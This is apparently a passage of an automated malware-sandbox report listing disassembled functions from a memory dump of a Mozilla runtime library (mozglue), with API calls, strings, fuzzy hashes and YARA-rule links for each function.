Part of subcall function 6C50CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C4D31A7), ref: 6C50CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C53789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5378CF

Part of subcall function 6C4D4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4D4E5A
Part of subcall function 6C4D4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4D4E97

Part of subcall function 6C4D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C513EBD,6C513EBD,00000000), ref: 6C4D42A9

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 15d0dff36e48aff2672679de65cb2820a04b6fb4f891c78e181ea1d4059c63d8
Instruction ID: 19fec33356f4042df9c3222076b6b7aefad17e478c77b6234113b98c4945b272
Opcode Fuzzy Hash: 15d0dff36e48aff2672679de65cb2820a04b6fb4f891c78e181ea1d4059c63d8
Instruction Fuzzy Hash: 8B419271904746DBD300DF29C88096AFBF4FFCA254F604A1DE4A987650EB70E559CBD2

Function 6C516470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5182BC,?,?), ref: 6C51649B

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5164A9

Part of subcall function 6C50FA80: GetCurrentThreadId.KERNEL32 ref: 6C50FA8D
Part of subcall function 6C50FA80: AcquireSRWLockExclusive.KERNEL32(6C55F448), ref: 6C50FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C51653F
free.MOZGLUE(?), ref: 6C51655A

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: be4d7da87eca18513b5b250e1b43df9153d5adcf6539c9d35dfa461125e30403
Instruction ID: 9b245d6fd10c9d1d06af1f5f27ad3b9c753e7a9e1c8f7e79089778fb14de1616
Opcode Fuzzy Hash: be4d7da87eca18513b5b250e1b43df9153d5adcf6539c9d35dfa461125e30403
Instruction Fuzzy Hash: CD3192B5A083059FD700DF14D884A9BBBE4FFD8314F41842EE89A97751EB34E909CB92

Function 6C50FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?), ref: 6C50FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?,?), ref: 6C50FFF5
free.MOZGLUE(?,?,?,?,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?), ref: 6C51001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?,?), ref: 6C51002A

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: a149b102babba798f9ff6286ccb36d4675ef398ffe8a3001b83e2abc91aea669
Instruction ID: 99d04b869f29be0ca19d5b413b4f1c55629f073a6cb6ee33d7baeca538903683
Opcode Fuzzy Hash: a149b102babba798f9ff6286ccb36d4675ef398ffe8a3001b83e2abc91aea669
Instruction Fuzzy Hash: E221F1B2B002159FD7089E689C848AEB7BAEBC53247254338E425D7780EB30AD0183E4

Function 6C4EB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C4EB4F5
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4EB502
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4EB542
free.MOZGLUE(?), ref: 6C4EB578

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 08ca15f70d40ecfbd3a0c7fa69d47b5c680fe669691201a562a601a9582ed100
Instruction ID: 9669f87948b761f7414db17a782b4c70a1912c5893f4034b5b6bf1d8ff4c1abc
Opcode Fuzzy Hash: 08ca15f70d40ecfbd3a0c7fa69d47b5c680fe669691201a562a601a9582ed100
Instruction Fuzzy Hash: 2811C030A04B41C7D712CF29C904F62B3B0FF9A32AF96970AD84953A01EBB1A1C5C798

Function 6C513DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C4DF20E,?), ref: 6C513DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C4DF20E,00000000,?), ref: 6C513DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C513E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C513E0E

Part of subcall function 6C50CC00: GetCurrentProcess.KERNEL32(?,?,6C4D31A7), ref: 6C50CC0D
Part of subcall function 6C50CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C4D31A7), ref: 6C50CC16

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 0e09480a334a0569034964d65b9622b48cafa0f3db79abd914e0dd174b48b742
Instruction ID: 058649f14acf1def78cac8b1e269350aceeee4c275fa1b4db5eb8aeb2e01ae3a
Opcode Fuzzy Hash: 0e09480a334a0569034964d65b9622b48cafa0f3db79abd914e0dd174b48b742
Instruction Fuzzy Hash: 42F01271600208BBD700AB54DC45DAB376DEF86624F454020FD0857741D775BE1996FB

Function 6C522050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C52201B,?,?,?,?,?,?,?,6C521F8F,?,?), ref: 6C522064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52208E
free.MOZGLUE(?,?,?,00000000,?,6C52201B,?,?,?,?,?,?,?,6C521F8F,?,?), ref: 6C5220A3

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 24d2cd46e4179c829dc1f1ddedd9a5f168f704b63f01ff979a29d83cb84f4a01
Instruction ID: 0997b760b8da0b83814a40e0583a75971d263146d3fc7ae9df4edc545a146a52
Opcode Fuzzy Hash: 24d2cd46e4179c829dc1f1ddedd9a5f168f704b63f01ff979a29d83cb84f4a01
Instruction Fuzzy Hash: F9F0B4752007009BC7119F16DC8CB5BBBF8EF86334F15011AE50687710C776A806CB9A

Function 6C5285B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C5285D3

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C528725

Strings

map/set<T> too long, xrefs: 6C528720

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: c8d24721557e90062b8218c3c3a9468ac1de74509a9990758c16284bf67071d0
Instruction ID: 4f385dedfb98fabe8df844aeb02051127d12919e1f1133b2009063d432a9556c
Opcode Fuzzy Hash: c8d24721557e90062b8218c3c3a9468ac1de74509a9990758c16284bf67071d0
Instruction Fuzzy Hash: 0F515575A00651CFD701CF58C884A59BBF1BF99318F18C18AD8595BB92C339F885CF92

Function 6C4DBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C4DBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C4DBE8F

Strings

0, xrefs: 6C4DBE5B

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 3fbdef1a850ca7a56c984dc1bf4d8afb2d0b8183ef3f25e9f3380088a8db82ed
Instruction ID: c88cef075f4fa102286f285d45a5ca668dd5e84417fdd9d6f7db4a4a2625f908
Opcode Fuzzy Hash: 3fbdef1a850ca7a56c984dc1bf4d8afb2d0b8183ef3f25e9f3380088a8db82ed
Instruction Fuzzy Hash: BC418F71909745CFC701EF28C491E9BB7F4AF8A348F018A1DF985A7611D730E9598B82

Function 6C513CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C513D19
mozalloc_abort.MOZGLUE(?), ref: 6C513D6C

Strings

d, xrefs: 6C513D58

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: cd8c6bb0fa601f5d34fbf9696ba13a16bea354c52a3fa1c5b758cf0b56afb9bf
Instruction ID: 798184d4731e7365e791aebf73fce770570e0db22dff71d511fec8476529562e
Opcode Fuzzy Hash: cd8c6bb0fa601f5d34fbf9696ba13a16bea354c52a3fa1c5b758cf0b56afb9bf
Instruction Fuzzy Hash: 56110831E18648DBEB009F69CC284EDB775EF86358B858219DC4497A01FB30A584C390

Function 6C4E4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C4E44B2,6C55E21C,6C55F7F8), ref: 6C4E473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C4E474A

Strings

GetNtLoaderAPI, xrefs: 6C4E4744

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 771f8ead10cec1ebc47054a44f378b9bacdaa03b05bdd9b86254f2945e7e8988
Instruction ID: a56501515a617780b0a2058231e9d942cfbc90158428c02e23cc650ca1ae5ace
Opcode Fuzzy Hash: 771f8ead10cec1ebc47054a44f378b9bacdaa03b05bdd9b86254f2945e7e8988
Instruction Fuzzy Hash: 0F0156757052149FDF00AFAA8C489297BF9EB8F352B474066EA05C7750DB74D8018F95

Function 6C536DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C536E22
__Init_thread_footer.LIBCMT ref: 6C536E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C536E1D

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 4d94d81df386666e9d4fddb29fcc1d44f31e087122a894daca7f1f1d2ff3a52b
Instruction ID: c7aeced5866600bb9a16490487c29d1b50db2a559caed5be62b3a2d55d12c8f6
Opcode Fuzzy Hash: 4d94d81df386666e9d4fddb29fcc1d44f31e087122a894daca7f1f1d2ff3a52b
Instruction Fuzzy Hash: 14F05931604340CBDA008B68CC50A9B37716743318F85126AC40987BE1EB20B91ADA97

Function 6C4E9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C4E9EEF

Strings

NaN, xrefs: 6C4E9EC1
Infinity, xrefs: 6C4E9EB7

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: db8ea4d9fe78ec3397bdd0de8f521ceae89891a4b3119149513f44145b856bef
Instruction ID: 86a14d6c1b00ad47588512d7a9964f8b28f3a7fd2e9f82cba2d3e0e0e93a4a97
Opcode Fuzzy Hash: db8ea4d9fe78ec3397bdd0de8f521ceae89891a4b3119149513f44145b856bef
Instruction Fuzzy Hash: EEF0CDB1600241CBDB00CF1CDC45FA533B1B75730AFA20B5AC6040BBC0D7766556CA8A

Function 6C4E6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0KQl,?,6C514B30,80000000,?,6C514AB7,?,6C4D43CF,?,6C4D42D2), ref: 6C4E6C42

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

moz_xmalloc.MOZGLUE(0KQl,?,6C514B30,80000000,?,6C514AB7,?,6C4D43CF,?,6C4D42D2), ref: 6C4E6C58

Strings

0KQl, xrefs: 6C4E6C33, 6C4E6C41, 6C4E6C57

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0KQl
API String ID: 1967447596-1241777402
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 145d31365f3da9ce35ebdf53f3543a5316c51c8f5016d12c6c0975a754a49612
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 79E086F1A105094A9B08D978AC09EAE75C88B1C6EBF054A39ED32C6BCCFA54E5508191

Function 6C4E3850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C55F860), ref: 6C4E385C
ReleaseSRWLockExclusive.KERNEL32(6C55F860,?), ref: 6C4E3871

Strings

,Ul, xrefs: 6C4E387A

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,Ul
API String ID: 17069307-1618445069
Opcode ID: 8ac4d57e22e0f2720da72b750eb244a0140bf5c6df149d799a08d9304486b965
Instruction ID: 09c46996bbe26b622125b5fdf1b8dd74b1854bde4e409cacc94cc2e67fc32591
Opcode Fuzzy Hash: 8ac4d57e22e0f2720da72b750eb244a0140bf5c6df149d799a08d9304486b965
Instruction Fuzzy Hash: 41E0DF31A01A18978702EF968C05E8A3BF8FE0B692387460AF40A17A10C770908086C9

Function 6C4EBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C4EBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C4EBEF5

Strings

cryptbase.dll, xrefs: 6C4EBEF0

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: c63f1e60d0eb6c1ab159dbc6426ad098336388c2da16368e0bb4c5e77cb4a503
Instruction ID: 0efbcbc08a36cd18eaed226ca7dab779dc785973330b0663f0bc492ab3a7f82b
Opcode Fuzzy Hash: c63f1e60d0eb6c1ab159dbc6426ad098336388c2da16368e0bb4c5e77cb4a503
Instruction Fuzzy Hash: E0D0C932384208EADA40BAA48D0AF2A7BB8A706726F95C021F75594951C7B1A465CB99

Function 6C52B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C52B2C9,?,?,?,6C52B127,?,?,?,?,?,?,?,?,?,6C52AE52), ref: 6C52B628

Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C5290FF
Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C529108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C52B2C9,?,?,?,6C52B127,?,?,?,?,?,?,?,?,?,6C52AE52), ref: 6C52B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C52B2C9,?,?,?,6C52B127,?,?,?,?,?,?,?,?,?,6C52AE52), ref: 6C52B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C52B127,?,?,?,?,?,?,?,?), ref: 6C52B74D

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ce87aeb4c88087a0a1e7e835b8f0f9eeb99ad7b524940330c7aebb02de488f50
Instruction ID: cfeb1dcc988241cf53f7f4a5c3aa03ac31eeda2e8d97e0ac9bf95c68d6f8fa6a
Opcode Fuzzy Hash: ce87aeb4c88087a0a1e7e835b8f0f9eeb99ad7b524940330c7aebb02de488f50
Instruction Fuzzy Hash: B651BF71A052168BDB14DF18CD80A5EB7F5FF85304F59852DC89BABB90D735B804CBA1

Function 6C52DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C51FF2A), ref: 6C52DFFD

Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C5290FF
Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C529108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C51FF2A), ref: 6C52E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C51FF2A), ref: 6C52E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C51FF2A), ref: 6C52E0FE

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8995fd48f32858667efa147516aeca0f590fbd32a56298b012e3a6a71decc25c
Instruction ID: 65c748509f3959cd85c798a4f6e2337cca79eb85b14a6879449f3f2835d9f435
